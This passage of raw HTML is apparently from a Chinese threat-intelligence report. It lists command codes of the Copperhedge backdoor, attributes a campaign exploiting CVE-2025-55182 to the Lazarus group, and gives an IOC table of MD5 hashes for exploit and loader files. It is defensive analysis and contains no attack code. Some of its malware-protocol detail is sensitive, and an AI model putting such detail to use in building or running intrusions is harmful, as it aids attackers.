  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">接收文件失败</span></span></p></td></tr><tr style="mso-yfti-irow:10;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2049</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">统计文件列表过程心跳</span></span></p></td></tr><tr style="mso-yfti-irow:11;mso-yfti-lastrow:yes;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2050</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">无需传输，结束并清理临时文件</span></span></p></td></tr></tbody></table><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><span leaf=""><span textstyle="" style="font-weight: bold;">三、归属研判</span></span></p></div></div></div></div></div><div data-role="paragraph"><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Copperhedge组件于2020年首次披露，归属于Lazarus组织，后续开源情报（OSINT）研究于2025年4月再次确认了该组件与Lazarus组织的关联性[2]，此次Copperhedge组件整体功能与历史版本功能基本一致。</span></p><div data-tools="135编辑器" data-id="105196"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="paragraph" style=""><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2025年12月，公开情报显示Lazarus组织曾利用React2Shell漏洞（即CVE-2025-55182）的利用程序，向目标系统下发EtherRAT攻击组件，其攻击目标明确指向区块链行业</span><b><sup><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">[3]</span></sup></b><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。</span></font></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><font face="仿宋"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">综合考量Copperhedge组件的历史归属记录、本次攻击中使用的漏洞利用方式（CVE-2025-55182）与Lazarus组织已知攻击模式的高度相似性，以及目标行业的匹配度，我们有充分理由判定，本次攻击行动及其所使用的相关组件均归属于Lazarus组织。</span></font></p></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div></div><table interlaced="enabled" style="margin-left:0.0;border:none;border-collapse:collapse;mso-border-top-alt:solid windowtext 0.5pt;mso-border-left-alt:solid windowtext 0.5pt;mso-border-bottom-alt:solid windowtext 0.5pt;mso-border-right-alt:solid windowtext 0.5pt;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;width:577px;"><tbody><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" align="center" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">MD5</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">描述</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">2e5fafffc9970527c1bbd5262da52f59</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">multirelay.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">f85a05aa9781848e2a9e3f42f0c3418a</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">Client.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">324f7ef1b7aeb9258e06dabe99a8948f</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">akagi64.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">e3d66a422a81ed40dbd6bb6abd4a3e54</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="middle" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">246e5b07824f131dc4cb1fad35f8f763</span></span></span><o:page></o:page></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit_cmd.exe</span></span></span></p><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit_url.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">9174ecb742b82a0bc4c002b82cc13fa0</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">a4d2759e6fc0b6fe5fe221a8bd75c769</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">3c922758c200100840f77bc691ef78ce</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">72aa61fa53e9caeee9d2993312587b46</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FEFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">cb7c15fc9c07a3db79f35d64efc2fc73</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">exploit.exe</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">2175449ed1c275f2cb2490094d7aabf8</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">COPPERHEDGE Dropper</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">bfd66efdcafb9d24ed9f0e2f733b129c</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">COPPERHEDGE Loader</span></span></span></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FEFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">e6569de917f84422439765b3a67ca971</span></span></span></p></td><td data-colwidth="187" width="195" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-size:11.0pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#1E293B;background:#FFFFFF;"><span leaf=""><span textstyle="" style="font-size: 14px;">COPPERHEDGE Loader</span></span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="390" width="358" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 